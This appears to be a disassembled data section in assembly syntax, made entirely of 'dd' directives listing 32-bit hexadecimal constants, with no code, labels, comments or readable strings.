		dd 0CB3E7BEFh, 626A0030h, 0A752E306h, 995D0688h, 7101FD9Ah
		dd 0C90C640Ch, 504187h,	5876E4EEh, 8F2FAB8Eh, 0A814620Ch
		dd 39B2052h, 5E1B3EA0h,	5DB07349h, 7C0C2A20h, 4003B4C5h
		dd 0AA81078Fh, 0B05A78C6h, 156924E8h, 34802100h, 0F31DECE1h
		dd 5E520038h, 32A25394h, 3D0C7177h, 0D1C8954Dh,	92811539h
		dd 17C4A462h, 234E423Dh, 9B78847Eh, 0A3FAE840h,	0AE01B767h
		dd 8804ED49h, 9980B6C5h, 0ECC82E5h, 0D50031A0h,	61F0D173h
		dd 0CDD9B01h, 0B8270C30h, 0D897071Eh, 95AB0A7Eh, 408C4D4Fh
		dd 70116765h, 8C64323Ah, 0C092B229h, 51FB3045h,	18AE5B80h
		dd 1648DA00h, 70C78263h, 7E677D1Eh, 1AC60092h, 0E2C26B19h
		dd 0EB003FE5h, 0DF05A214h, 789125Ah, 88F4629Ah,	1A0980BAh
		dd 0B900F9C4h, 879B41D1h, 1B5130h, 8443D52Fh, 8FBAE746h
		dd 0D6778001h, 0B77ED9C0h, 2AB948BBh, 32A26A4h,	3B01918Ch
		dd 705DD790h, 5B5814F0h, 46037199h, 0C972C0D5h,	0DD6C90A8h
		dd 44CF00F1h, 57FB2789h, 0E0CCA07h, 0A1E98F77h,	0E2220339h
		dd 0CC96E394h, 0FCF0BAF9h, 3C00C248h, 9184522Dh, 0C235344h
		dd 0E1F49440h, 0FE88AA98h, 0CFB23BCEh, 50CA0498h, 8D009EBAh
		dd 0A6C9242Fh, 3A6568BEh, 63174BC6h, 180A030Eh,	0A803217Ch
		dd 0EA307212h, 53380010h, 0E0C7F671h, 8C00B78Eh, 0DB67787Fh
		dd 69F8ADh, 4B5AE2B6h, 0A717B3Ch, 247DF61Dh, 44552601h
		dd 0D180DE8Fh, 0E1AC282h, 0FFC4B2Fh, 4701CD98h,	0A0D85E3h
		dd 0C3DC49CBh, 18E8E089h, 78AD7DF3h, 0FB180CC1h, 89D931A2h
		dd 88723Ah, 78468CEFh, 0F8AE81CBh, 8AB95303h, 0AC2BA2h
		dd 8C52B629h, 0B32F8003h, 0C204AA15h, 5DB10084h, 6B5E07A5h
		dd 3FF00A51h, 17EC7EC4h, 417D19BFh, 0A027E86Dh,	55F5C800h
		dd 222C66E6h, 0DF84008Eh, 8DFC101Eh, 9778F2ACh,	38B86404h
		dd 0C3C7A30Ch, 88BB12D0h, 0AB0B0ACBh, 805447B4h, 599DFEE8h
		dd 0B124C707h, 8A1D2C71h, 57709400h, 0EC302F44h, 0B0260177h
		dd 0C2B3F52h, 66488ECCh, 0BA8746CAh, 4F8000A0h,	0F7FA6321h
		dd 0B1547BC9h, 28307290h, 0EC56E95Ch, 9B19C078h, 0EF8D2211h
		dd 0B91CAE00h, 0E3C5B638h, 844D29DEh, 0FAB30558h, 0E1E780A2h
		dd 0F7015D64h, 302B4432h, 0CC41D328h, 9C25A163h, 56F240E2h
		dd 39C324D5h, 12BD00E5h, 0D40A0852h, 0B853F276h, 15FF26BCh
		dd 71A18102h, 0D0E1E1E4h, 2725C24h, 61840279h, 0F8829553h
		dd 0CF23DB05h, 0D54100C9h, 6ADF59E9h, 0A20E742Dh, 0BDCEB36Ch
		dd 0ED0CDDC5h, 71B7E437h, 0C90A3CBAh, 65C09C64h, 30B60A6Dh
		dd 4DC9F663h, 0CA00DB99h, 0FBEA0D4Eh, 3134E5h, 0FDEB1B9Bh
		dd 32F4C5F9h, 0BF285A09h, 8F7C03E7h, 0B7A101A8h, 449AC71Ch
		dd 52BB7011h, 25F9DE05h, 0FC354802h, 3E208437h,	0A3BE751h
		dd 0A91DEBABh, 0FF9807F3h, 56295075h, 0C98399Ah, 22605448h
		dd 4A721B1Ch, 8B0B1FAh,	20904BBDh, 4467C8AEh, 80AFF78Ah
		dd 3EF2C8E1h, 0B0EC2416h, 52BCBE04h, 0C08A3D85h, 81FC67D0h
		dd 8F767FC9h, 0A0259029h, 159A174Eh, 58F40030h,	0F659B475h
		dd 1E5034DBh, 9006D10h,	87B3D7EFh, 6098071Dh, 282F18EDh
		dd 3706BB94h, 21B8DF29h, 712B0031h, 0E2D3D5B4h,	5F78773Bh
		dd 80882240h, 7400295Bh, 47F981B9h, 18F7DB39h, 402C3E43h
		dd 720B0277h, 87E5502Fh, 0F01CB37h, 0F883603Ah,	0E8ABBADh
		dd 270140D8h, 5C579400h, 5FE68F30h, 759D0015h, 5BCBD2Fh
		dd 1100EE4Bh, 0F55A581h, 2A28220Ch, 1E54BBDFh, 0F2464F29h
		dd 52ED1B0h, 705DDC98h,	2AC7D443h, 14A10005h, 0AA9D7A0Fh
		dd 82E4E8A6h, 0DC90010Dh, 2D40E016h, 457F93h, 5A1B9E55h
		dd 92689903h, 0A9A5780Dh, 0DFF08830h, 6504593h,	660071E7h
		dd 0EDDBAAAEh, 7C0656h,	83E1D9BEh, 0C49A2759h, 6F3513Eh
		dd 38292862h, 85C30091h, 0DD5CDBFEh, 0B4A83691h, 7200891Dh
		dd 0D05820F7h, 30C5AE29h, 0B869F379h, 0CF00A0F5h, 43D2B7D6h
		dd 1B412B24h, 413B900Bh, 0ED7EF2F0h, 0E6F85506h, 57194D72h
		dd 0C30CB093h, 1AC9E796h, 29207032h, 80BCB026h,	511D22ADh
		dd 336D1600h, 0F94134FBh, 0E6EAB4h, 99E404D7h, 90A7AF66h
		dd 1C494A60h, 5B8C8Dh, 5718B462h, 21039B1Dh, 9C178114h
		dd 3C3A7AE8h, 0E5C05491h, 0F6383300h, 7AFB305Dh, 11F0579h
		dd 40FDB470h, 45A30FF0h, 4A1CB7ECh, 0A0094EEEh,	50502CADh
		dd 0CC5E52B8h, 3201F522h, 0DCB5376Ch, 63CCF114h, 0FEB2008Ch
		dd 57E5736Bh, 751CA454h, 0D146D62h, 76F4098Ch, 0ED540435h
		dd 40D16080h, 258204D2h, 91157517h, 0D9CAF704h,	9D0E002Fh
		dd 0D47C336Dh, 0E1012698h, 0D9B344A1h, 0F0D58FE9h, 65629185h
		dd 829A8079h, 0BB1B23ABh, 0D2E96E36h, 1D1E03D0h, 1886C907h
		dd 66A332FDh, 0E8F7C143h, 0F64D3FD8h, 87C4917Bh, 0E39584E2h
		dd 76B94FE9h, 7842244h,	2DF73BB0h, 60154302h, 83C15Dh
		dd 207538FEh, 7C860366h, 7773A900h, 3D475F70h, 114937Dh
		dd 0BAAC0EAEh, 7493F275h, 0BF5F0AE0h, 0B8307660h, 1DA58525h
		dd 84B4B1BDh, 9139B6F7h, 8EE41E74h, 20763BD1h, 0FC0C1299h
		dd 30BCAE52h, 0E295C1Dh, 680034F0h, 0ADDF45E9h,	74BB9C4h
		dd 1C24C8D6h, 42418E87h, 2291DE0Ah, 6CFF00E0h, 648F070Fh
		dd 1E43160Bh, 0E64F093Fh, 28B26018h, 11007AFEh,	0CDA84195h
		dd 0F03CBBh, 88C475F6h,	616487ECh, 1DA4514Ch, 207977h
		dd 8EF1962Fh, 7EBA7DD0h, 8924CE03h, 0E8112223h,	38F53979h
		dd 7426EBC4h, 99046EC4h, 91C091E0h, 308C2432h, 2423DE07h
		dd 0A3505C0Bh, 1D2C3Dh,	8B3FF859h, 38F75258h, 900D898h
		dd 82786D99h, 9B25EE56h, 0DF2E0244h, 412F21BFh,	94C7A810h
		dd 5460ED45h, 0F935C84h, 394CC2BDh, 67143033h, 5713F910h
		dd 840C6FC8h, 3AD1935h,	48893C76h, 4EB8C5C2h, 72010C46h
		dd 9F9BC325h, 9891759Ah, 73A1F8Ch, 28E9E218h, 68FC0ACEh
		dd 80CCDE90h, 0C51C347Fh
		dd 0CB00560Ah, 40665DD9h, 4C49D85Ah, 6C460806h,	4CC5913Eh
		dd 58076A64h, 528E9E97h, 2E5EB9F0h, 20A2014Ch, 6996CBB8h
		dd 841DA2Ch, 49C98030h,	52AB7684h, 32EAF6h, 0E4073D89h
		dd 0FD78191h, 479F4B00h, 0C821D38h, 0F18B0508h,	84D3C16Ch
		dd 4930C054h, 0B090F8FDh, 4572E718h, 92031559h,	918C006Ch
		dd 6A5FF95Ch, 0CD00C4E6h, 0B8FD2D7Ah, 5CA55781h, 252CC25Dh
		dd 629E364h, 1F1E413Eh,	7B4024DCh, 68EFE5E6h, 1601F296h
		dd 8D91B45h, 78A688D8h,	708F0C8Ah, 0AB7D3A00h, 0E284ECh
		dd 7A13A845h, 0F6F3E629h, 7B86A500h, 5AB2A198h,	0F71609D9h
		dd 58A012C8h, 0D2436F99h, 968E4A9h, 139C41Ch, 0D77CEB9Eh
		dd 17F47925h, 0D66FB270h, 0DBD0010Ch, 4D0E204Bh, 589C27B1h
		dd 1E750C04h, 28C11Bh, 8CE8DEB2h, 58DA53C5h, 98C48B00h
		dd 75AEA69Bh, 3860BB35h, 9BC917Dh, 2420C391h, 75740D0Bh
		dd 94DAAD00h, 70B8BB40h, 2BF12687h, 11542640h, 9DB50225h
		dd 0E007ED9Fh, 88508470h, 28A16B1Ah, 0C7215h, 418312C4h
		dd 282E3442h, 448C570Fh, 9248C37Ch, 813484B4h, 4CF7BCDCh
		dd 0C9C745Fh, 81B9899Ah, 46199500h, 0C762E01h, 1DAC2637h
		dd 0DE9A4084h, 9909CBDBh, 8ECAE50Eh, 143E282h, 82A49B86h
		dd 488044AFh, 5480A891h, 0C1D008CAh, 0F8BCD900h, 0A759C03h
		dd 0C67102B2h, 10BCB27h, 1E52446Ch, 24E70080h, 0DD84C17Fh
		dd 0A8FC0009h, 21FA02B2h, 0B73B73BEh, 38DE8723h, 0BB45B837h
		dd 270FA820h, 540D5981h, 200B897Bh, 58EA879Ch, 84366300h
		dd 49A32927h, 2CDF40A9h, 2FA1F71Dh, 0A8984834h,	5110097h
		dd 4CF4AE31h, 1B76C1A0h, 515C7800h, 262C8BD9h, 16249068h
		dd 20797D85h, 0FDBCFFE8h, 0D2475000h, 0B65886E0h, 0AC4B7F70h
		dd 0B4ACCh, 6BF76370h, 0F000145h, 0B66DF6ACh, 0A01BBADEh
		dd 5EBF6Ch, 943B6B72h, 811F8C50h, 9113A09Bh, 73909827h
		dd 595F5AA7h, 3A8B8489h, 3191F803h, 75332900h, 8E99F249h
		dd 0A5C900C7h, 0F67A36EFh, 1E004F3Bh, 9272464h,	7FDD91C8h
		dd 0B0384C5Ch, 479D8603h, 1C926A25h, 0EF0FB453h, 9A07A228h
		dd 984A0EEh, 7978748Bh,	15EB088h, 2725936Eh, 283B43F7h
		dd 67088EC8h, 0CDC4C52Dh, 76C52097h, 943AF098h,	2EBFE2B4h
		dd 39231221h, 3BADF064h, 3A925BBBh, 0C5044475h,	101E0BD4h
		dd 0A971B0h, 854D8C2h, 0A91F39Dh, 8ACE2F00h, 0CDC3A8FBh
		dd 958C106Bh, 6DC85057h, 72AEAD44h, 0FB70AB07h,	0F524E7E0h
		dd 809914C1h, 17D5036h,	6259E3Ah, 36341897h, 540F2E40h
		dd 0EC6707E1h, 8C0E598Fh, 0D0280164h, 7D3645A8h, 2AC1AA13h
		dd 0DBFEEC20h, 0E0C00008h, 0D16932E4h, 0BE3AF847h, 559F8027h
		dd 80A4ACECh, 1DA512BDh, 0D2891DB2h, 0ED8CD97Bh, 221E113Bh
		dd 91AD9050h, 0E0580077h, 19089552h, 1D30C702h,	0E5C8211Ah
		dd 58123975h, 0A2B64280h, 3649A8FDh, 7AD650Bh, 14280B7Fh
		dd 1218D6D0h, 0B0C4906Dh, 7002FD2Ah, 0D506C738h, 0C388B075h
		dd 71576296h, 8CA0FA44h, 2EDB34D8h, 855ECD00h, 1F4C5DF6h
		dd 623D022Ah, 0B6C126A1h, 65726C50h, 8C6C5F24h,	0F91ECD43h
		dd 0C22C461h, 40D06D11h, 0F11FC57Ch, 6655DF97h,	95FDC494h
		dd 0BCE9CA83h, 29EF0082h, 45155884h, 78532EE2h,	6DE3C030h
		dd 0D34C3E35h, 0DDB400F6h, 0AF5B8F74h, 0C051AF0h, 5D0E41BCh
		dd 10D80D8h, 0BF767BA1h, 8220B8DEh, 84105A1h, 1DC06056h
		dd 0F09D2807h, 1CB62244h, 69E17764h, 45A30E40h,	4896AFB8h
		dd 4D8EA585h, 0A93F600Dh, 0C629BC1h, 0C28800Ch,	5A00A119h
		dd 666B7A6Fh, 1C8D6Eh, 1570E6C1h, 331B4AB9h, 0B412AEE2h
		dd 6C0E50F5h, 231040DCh, 13732C5Fh, 88120AADh, 0D600CB60h
		dd 0B34EA102h, 1FBB8C03h, 964449Dh, 0EC020F6Bh,	982A2184h
		dd 28531EE3h, 92AA19h, 0ECD182A6h, 86B25506h, 202EB79h
		dd 0F234BC2Dh, 110738Dh, 95F464Eh, 0AE082444h, 9EB01D4Ch
		dd 0F7002F6Ch, 8C63A5C0h, 0A4612494h, 48FB12E8h, 0A0B10DA0h
		dd 66112EBEh, 0AF827B9h, 9C07292Bh, 7E5B6580h, 797A23h
		dd 2E124858h, 0BBC71CA6h, 4195910Fh, 3215EEF2h,	0C49C9465h
		dd 6820F180h, 98AD1EFDh, 99218069h, 7D3DFA6Ah, 804A00B8h
		dd 0F02BBC2Ch, 0F8442076h, 7BD52F00h, 93B9AD95h, 203E00C9h
		dd 0AE23E405h, 0A53CD1E7h, 841F2484h, 0E5279840h, 5352079Bh
		dd 0D35B4FDEh, 0DA909E81h, 0F48E469h, 77F70350h, 89768059h
		dd 0D9E4D146h, 0C32E2E08h, 0F49A5010h, 9EBBF788h, 0AC3AB82Ch
		dd 843E0C54h, 148A9922h, 88B98128h, 0B8B228DAh,	1154E852h
		dd 495491D0h, 4DFC9DF0h, 46C88B00h, 89243AC5h, 0ECA34975h
		dd 0CF9584C0h, 0A13199BBh, 0F0CBD8E1h, 4FDB421h, 0B99B6458h
		dd 0AD7C6074h, 0BEE89D32h, 6D4D39h, 1E2B5C06h, 227FBF7h
		dd 0F2FC5494h, 78EEBA51h, 87290E0Eh, 22E4941Dh,	0BAC325BCh
		dd 0A1289890h, 8C057F1Eh, 4878C2CBh, 2D0A48Ch, 43B303Dh
		dd 0C4CE0B71h, 9ECA75Ch, 843DDC42h, 8F4053DCh, 2078336Eh
		dd 0EA72BB00h, 70D47669h, 0BF400239h, 0F2E23D45h, 280E2CECh
		dd 0B50F6807h, 4FA8D4C4h, 0D0656C44h, 5289A144h, 0B8A7FCD8h
		dd 1C540074h, 4B509B48h, 9E0480BEh, 0DBCF62Eh, 0E37B78C0h
		dd 0C7F0A232h, 87C38900h, 547138EAh, 49203400h,	2521E76Ah
		dd 0D0195F95h, 2273E077h, 3CCE8880h, 3008BE9h, 1A080C7Dh
		dd 0CF09D01Ch, 6A3E8437h, 0B00815Ch, 0FC24869Bh, 9CB1587Dh
		dd 0F851DDB2h, 0EE8EE000h, 0E2E979h, 0B428F2F3h, 207DF0D9h
		dd 0B930C40Bh, 7C78AACFh, 7099A564h, 0A286D839h, 773D293Dh
		dd 95948271h, 7B7AEA93h, 0B9C30B6Ch, 8E803464h,	9926A176h
		dd 0A63EF901h, 0CC91103Ah, 4054AE1Fh, 11A1BA59h, 8CA83491h
		dd 8376CB55h, 170FC09h,	0FAE498ADh, 61BF000Fh, 0DF31CF2Bh
		dd 29022A57h, 0FFDDBD96h, 4640CE19h, 119C57A2h,	0F714F4A0h
		dd 99CE84CAh, 0C625B91h, 0AC9A2022h, 6102BA8Eh,	794648C8h
		dd 0C33924F6h, 42F0B234h, 681DD557h, 16448B5Eh,	1488E53Ch
		dd 26CE618h, 38B01482h,	0A640D3BCh, 5E09E842h, 41A991C8h
		dd 6066286Ch, 102CC200h, 6442D9E7h, 0B1DD02FCh,	3C2469C0h
		dd 90CBF4h, 33796578h, 5B6D2EECh, 0C638437Ch, 0D0A0C9FDh
		dd 1B24019Ch, 279FBB94h, 0B7846832h, 502757A8h,	114F1B60h
		dd 23F73909h, 0C193F400h, 4748B201h, 0F83ED42Ah, 82EA6A3Bh
		dd 6BF724A4h, 95FCC97Fh, 0F2797710h, 1BB998A8h,	0BFC9A600h
		dd 7C54ACABh, 929D0C69h, 29AE2361h, 5872E3h, 0CC4CEE0Ah
		dd 1C148B60h, 879FA43Ch, 0C061BEA0h, 0EE5791BFh, 44C9B0BCh
		dd 0F130040h, 9D8BB3E6h, 3F3FD1C4h, 8F2880E9h, 0FAD3F608h
		dd 676F4F22h, 0DC38795Ch, 4309B574h, 0E8900F37h, 213E24h
		dd 445CEB75h, 0D0AFE119h, 57132307h, 0D9C7B1DFh, 28B82FF1h
		dd 0C8013022h, 0D4E25AB5h, 915430CCh, 0E8680F89h, 5F76F0C1h
		dd 5088220Ah, 0F91347B8h, 9C201F32h, 68BF6Eh, 608B1016h
		dd 0B8D20361h, 0BC0B0400h, 0D451923Fh, 6F980993h, 800BC166h
		dd 0EE226501h, 0BC72D285h, 7E33D904h, 6CDC8460h, 1A184492h
		dd 7CA47252h, 8139846Fh, 3A43F60Fh, 191E118Ch, 2103B619h
		dd 78E9AA3Dh, 73CCA894h, 0E080B677h, 7FDA0C5h, 46026E0Fh
		dd 44010BB4h, 0F3A5007Ch, 0CC6F2D24h, 0F14C49C8h, 95CE0E10h
		dd 0C8C1776Dh, 0B215F7AEh
		dd 0E6DB0084h, 0FC30203Dh, 0A6FE17D3h, 30485C34h, 0A198AED8h
		dd 0B509A078h, 8187BFE6h, 91DEFFBCh, 0B1896C47h, 10C8F838h
		dd 0D4751759h, 306499AAh, 7FE49520h, 201E212Fh,	4B8539A0h
		dd 0B2DB0092h, 6C109E5Ch, 67760E8Ah, 7AE8D40Bh,	0EA5C1C37h
		dd 797D38h, 710EDFAEh, 83526B6Fh, 0C9294F04h, 78E49991h
		dd 87DF2827h, 0B3661758h, 0FBC49880h, 1E0C7600h, 298FBB99h
		dd 0C47D0026h, 7109AD49h, 58B9CEF7h, 8BFC0B15h,	26C8C726h
		dd 0D65A0194h, 842395D8h, 1E471A79h, 8C5CE8D1h,	0A2446414h
		dd 5C4CD0h, 25D9ED74h, 3C4BAE6h, 0FEE02FDh, 2AA89508h
		dd 767A2E4Eh, 0EC0215F0h, 75790E5Ah, 0F4CC4E80h, 7AFCA8F1h
		dd 0FAAE0EBBh, 8B65D50Bh, 25D8B385h, 24DC4535h,	0A86C157Ch
		dd 9012D121h, 74C62020h, 76E70037h, 0D0C8338Ah,	0F0994421h
		dd 0FA569200h, 1696B045h, 3022A4Ch, 7B87D2C8h, 94D6F2CFh
		dd 619380B9h, 0FE26F880h, 3017C12Eh, 9D99C401h,	242D3530h
		dd 0D18EE488h, 0D9432223h, 0B9C6E2F2h, 58C2E19Ch, 74AF59B4h
		dd 81B882A4h, 504429h, 0A1CC2DC9h, 0D735FBE3h, 817DC177h
		dd 48A2AD00h, 3BA33460h, 41D89479h, 2A84DF37h, 77DD828h
		dd 4265C2F0h, 261320CCh, 6C03B4DFh, 0C7CAE595h,	270AB9C6h
		dd 0FCE4438h, 0BBAEC090h, 0A07B0926h, 5D0D0BEBh, 92C42476h
		dd 5244495Ch, 6CE600E0h, 26D2F52Ah, 0B413139Ch,	0B0489119h
		dd 113E8E05h, 549AA980h, 64EEE461h, 38606D2Eh, 5A5C10ADh
		dd 0C32D00D1h, 0FCCAAE24h, 0B8B33504h, 6C88F812h, 15F304E9h
		dd 0C82AD1A7h, 39000778h, 0B9229612h, 27067Fh, 9EF7C997h
		dd 149A16D8h, 0B4400C00h, 0DF218CFAh, 0AC3099BBh, 1C18C944h
		dd 8B2F1176h, 4CDCE7h, 0A6EFE456h, 85EEE1C5h, 42AA6617h
		dd 3B2748D8h, 5F80EDA1h, 720271F1h, 0C49C7D25h,	59E6E50Ch
		dd 670C0080h, 9966D906h, 0AD4AA5BDh, 18882012h,	6CDF0008h
		dd 87D1288Bh, 0B902D2C0h, 0A8AB3C0Fh, 0E68CB9B2h, 3C912EA7h
		dd 2820D2A2h, 7C47581h,	5B38C1B4h, 0A834CB84h, 710FE200h
		dd 6A82961Fh, 93349880h, 98E2074Ch, 82DC5A6Dh, 0EC9B0711h
		dd 0A3A3482h, 70000C53h, 4C6BF60Ch, 0B4924866h,	7B285807h
		dd 704D3B42h, 0C9791119h, 0AE88383Ch, 0C8C78445h, 843491E8h
		dd 64E47970h, 9B250067h, 0FAAAA31Bh, 0D00E7DB9h, 0A027B4D6h
		dd 9C10EA94h, 66790CC2h, 53690D28h, 0F3C82600h,	32A22F94h
		dd 67760020h, 0D88D4B50h, 364EDE64h, 1831C069h,	6880086Ch
		dd 61E6AD43h, 0A9F624EEh, 9D254F0Eh, 0D47780AFh, 0A1F4D22Ch
		dd 26126CA8h, 28A6CC71h, 84E4BF08h, 0F5370A1Ah,	51E80748h
		dd 639103D6h, 1D9B00B4h, 0DABB5699h, 3ECC279Ah,	284D18B6h
		dd 70C84A5Ch, 2BD60737h, 70A8385Ch, 0DAE01E54h,	79167896h
		dd 98ADAC90h, 64E2007Fh, 0DD9C6DB1h, 1A00F648h,	5D68D951h
		dd 1385119Fh, 0D1B169A5h, 1122BF84h, 402E771Ah,	2064ADE0h
		dd 16249584h, 0C787305Fh, 108BDE87h, 1F73360Ch,	2CC67D13h
		dd 51D502F4h, 585C03ECh, 10C90112h, 8CC73C62h, 7B43003Ah
		dd 0A3143C54h, 16B8D053h, 0A4C9A8ECh, 28662BD2h, 9E9B990Bh
		dd 2C088E80h, 0B4FDC8CEh, 4774080Ch, 6401594h, 0D1F85382h
		dd 3B280004h, 296BF00Bh, 0EB09C636h, 232C9E25h,	0A210374Ch
		dd 0BBDCE8B7h, 77084E6h, 1B46758h, 2987341Eh, 0A8416A8h
		dd 0E44D5DC4h, 21446C54h, 29500394h, 4CE9CD5Ah,	0F459DFAAh
		dd 0B4713703h, 1E392AE1h, 0EE3C90B0h, 5B74DAh, 54713FE7h
		dd 0F84CCC08h, 41DC5E54h, 0A2B0C354h, 0BC2FAD20h, 64CA40B8h
		dd 8C00028Eh, 6A2CACC4h, 5F900Bh, 0F5E3DF60h, 791A3CB5h
		dd 0AFC7C601h, 12AE9454h, 18ECE1CAh, 0F00C7871h, 0B81CB629h
		dd 0CE808B00h, 0B87C01CBh, 2F8E320Eh, 400D4F1Bh, 904A55A1h
		dd 0BF9C048h, 0F9089138h, 14AF8307h, 29A30DF0h,	89583296h
		dd 1866AC50h, 0F09BF7Ch, 887507FCh, 4CA7A8C4h, 0C8F4022Ch
		dd 915CB97Eh, 13008844h, 45E8D9BCh, 14AB051Ah, 0ACBB9CACh
		dd 77184077h, 8F0D0C05h, 0D0F0C6E3h, 0CB290126h, 32E7F121h
		dd 3483339h, 716BC5E4h,	4D7DE047h, 0B0780E4Fh, 473F20ADh
		dd 466C732Fh, 0E58585Fh, 0C9C83F0Ah, 1F4D0354h,	80CB7622h
		dd 4B8D6C70h, 41C89D52h, 622C8098h, 623087D0h, 0DAD958E1h
		dd 0E9BC60FEh, 72012A64h, 512CA238h, 96919028h,	8B0C88h
		dd 25E352Eh, 71859DDCh,	5300A772h, 0F0506C68h, 209E2629h
		dd 640A8AE7h, 2454C2DCh, 0CAA2043Ah, 0D0A01604h, 0B9060C8Eh
		dd 9F110C76h, 0D090F728h, 0E8C9F62Ch, 0D062124Eh, 299C10CEh
		dd 0BB92A8C2h, 720F003Fh, 6A0F9862h, 2175A5D3h,	279D1671h
		dd 6B005062h, 0C4A2123Eh, 997C6AC3h, 4476C213h,	7F607C90h
		dd 18D7725h, 19D633Ch, 2C0F0989h, 659A8080h, 0AE69D1h
		dd 0FD2734CDh, 0B54263Eh, 292AAA00h, 947BE07h, 54125076h
		dd 0BBEC063Fh, 0D82443CAh, 4C34405Bh, 0CE27C580h, 207A5B56h
		dd 5021E248h, 0C370ABFEh, 0FE6C5900h, 0A5809FB4h, 80FD586Fh
		dd 1D36517h, 66382938h,	0BE5180CAh, 0B3217362h,	89AC74A0h
		dd 347915h, 13D2F9E5h, 139A4BD9h, 39E32E8h, 4644A0BFh
		dd 1937898h, 0A13E1C0Ah, 0A600B996h, 40632204h,	0EE20C1E8h
		dd 8A98C0h, 125D9572h, 0D2BEC3F0h, 45A4428h, 7FDD9D00h
		dd 2CA2CEA7h, 942A0030h, 7B1B2959h, 1C07A6D1h, 2397DE04h
		dd 0E843D310h, 19CA6034h, 8E8D6677h, 220C13Eh, 431375FCh
		dd 4DC4A0A5h, 3D3B9B5Ch, 995AACBh, 0FC52B861h, 4180B09Ah
		dd 0AEA19E15h, 22C5DF05h, 6800230Fh, 383919E0h,	0D345809Fh
		dd 0DF108404h, 344A21BEh, 0AE11B0h, 4427C012h, 19820B5h
		dd 0DD0F31FCh, 0E4F4BBD8h, 6D138526h, 0E8D23B89h, 427CC691h
		dd 7D11096Bh, 918483A5h, 302105F0h, 0F707390h, 88D3C3D4h
		dd 0A8776F4h, 96F04744h, 3C482091h, 0EFE87F95h,	0A968A600h
		dd 0ED458005h, 1BB9034Bh, 0C7DEF4FCh, 0A480D0BAh, 0E6B34971h
		dd 81AC764Ch, 4A9B98AEh, 5CB84EC8h, 3532D895h, 9C406471h
		dd 13023474h, 91A1270h,	84C8A9DAh, 18CA5564h, 0E72B8400h
		dd 0B17FAC0Bh, 7C003679h, 0FF1EADE2h, 7C711688h, 0B68DB8C4h
		dd 0C4D824FCh, 8094E812h, 83B6DBBCh, 6476DAh, 0F2DEB00Dh
		dd 75E29722h, 0B53C9EFEh, 2AACD82Ah, 9122A007h,	7CE0A25Ch
		dd 9EA78344h, 77B1D507h, 28C287Ah, 9D1B7112h, 40146662h
		dd 0C2413C23h, 0B80D6420h, 97154E40h, 93708074h, 710E2A34h
		dd 20C7FAD1h, 0A95FAC9Ah, 54FB5DEEh, 40DD9185h,	0B8774994h
		dd 0C5F0E3CCh, 5FC39200h, 248C615Ch, 0EC514848h, 47F5390Eh
		dd 0A1283560h, 0E200FA53h, 0A3A0A598h, 74504D82h, 0B9E12CBh
		dd 642809E3h, 0F0956480h, 42E85ACCh, 299D03Ch, 0D8B8613Eh
		dd 4E207607h, 0B50C7080h, 1800B20Ah, 40D7628h, 0FF7C9D2h
		dd 0BB1FD145h, 2C13CC8Eh, 0A0862764h, 98D76A14h, 0D0664C2Ch
		dd 44105FC4h, 0D4B57976h, 97F0B8F9h, 41C1EED7h,	3964C10Ch
		dd 409124E0h, 0A59BD040h, 0FE970036h, 9EA26E16h, 58AECE6h
		dd 548376C8h, 1504FCDEh, 99B94004h, 44A525h, 2A52CE77h
		dd 77D2919h, 81401C96h,	73D5006h, 20D72E32h, 0E313E080h
		dd 0D931C3CCh, 6BE6193Ch, 121C5F3Eh, 0FE0A4BDh,	1AA32804h
		dd 0B0C37120h, 76AFA91Eh, 8B80C038h, 0B83CEF79h, 63115807h
		dd 5270DFA4h, 52D804E4h
		dd 7E079478h, 60A708C1h, 6F5F702Bh, 7CBBEC94h, 0F31D010Fh
		dd 1371C0BDh, 1EFB996Bh, 91C0D93h, 0F05A392Dh, 2190AE0Fh
		dd 9BCC01B8h, 2AD1E8BDh, 1900982Dh, 0BB50C763h,	0AD0106D0h
		dd 0DE48FC75h, 684157BEh, 8078115Ah, 0C0F8BA84h, 22FCC8D9h
		dd 1400B6B8h, 0D4E8A2F9h, 4B52082h, 5F0DAD85h, 14E0A274h
		dd 16CC2EE1h, 3831A170h, 387C9CC3h, 47002494h, 95A82C4Dh
		dd 9005263Fh, 28D12343h, 805D084h, 14043E09h, 2CE2A207h
		dd 16E9E01h, 80CF880Fh,	4002B560h, 24BDF0FDh, 415C7129h
		dd 3E2052A2h, 1C9EB470h, 3942006Fh, 30548197h, 0BB580514h
		dd 1E080079h, 0ECCC7B28h, 0B18C1373h, 69488155h, 83502287h
		dd 8028C0F3h, 0B236562h, 6FA63BEAh, 813CFCA0h, 6B60C380h
		dd 27892F81h, 86954CDh,	21843885h, 0D01D9B96h, 4523FDCCh
		dd 0CBA59107h, 0D87224A9h, 0BF744077h, 1150270h, 2F1D6637h
		dd 20651600h, 0F0170139h, 4312CA6Fh, 0F80606Bh,	88292724h
		dd 0F164C640h, 81013AEDh, 0CC7E9882h, 0B0E0EB59h, 3E722848h
		dd 0E562D90Ch, 3F3891Ah, 0F96C74A4h, 2E8815A3h,	0C40CE129h
		dd 0C0C86DE6h, 0CD381387h, 60384A9Bh, 9D8040D0h, 220908CCh
		dd 70DE4C27h, 4452447Ch, 2E29F960h, 0E7ACD3Bh, 0A4933D1Ah
		dd 73368840h, 0E6E43EB7h, 5F9D3Fh, 0B3317201h, 0F4177111h
		dd 90CC996Eh, 24DC2077h, 43D49134h, 1ED0634Bh, 3E059697h
		dd 0AFC6956Dh, 900288D5h, 0C1371658h, 961012E4h, 9F06A446h
		dd 60895213h, 20088068h, 689358DFh, 8C400F80h, 2E25361Eh
		dd 0BC3CC816h, 0ABA20727h, 0D940C077h, 0E4B65027h, 0A0F7212Ch
		dd 5FD0222Ah, 3A0E7C71h, 746D817Dh, 303A4ADBh, 0BCD82A00h
		dd 92A64C00h, 1AE19C47h, 0F21C7385h, 234B00B2h,	0BB258E9Fh
		dd 0EA58ADD5h, 0F8800230h, 7EEF2181h, 0A76C04ECh, 0BB110016h
		dd 90CCC50h, 620983BEh,	263E899h, 54040BAAh, 87344021h
		dd 0BB0DB2D1h, 1A1E0CACh, 0F100ED21h, 92870E3Fh, 0E68465A4h
		dd 9E695CB8h, 214DF212h, 0E496ACC0h, 0F07BD0F8h, 40C0415Ch
		dd 88A00508h, 98003A47h, 75B8DE6Bh, 0B139EE79h,	97582E24h
		dd 0DF84201Eh, 0E002450h, 3FCFCA21h, 26F9C74Ch,	11402F45h
		dd 0C0A89074h, 416D697Bh, 0BEB0020h, 940DB059h,	25008D3Ch
		dd 0DA862CA3h, 13A24EACh, 30A12643h, 0C3741A20h, 6744A8B4h
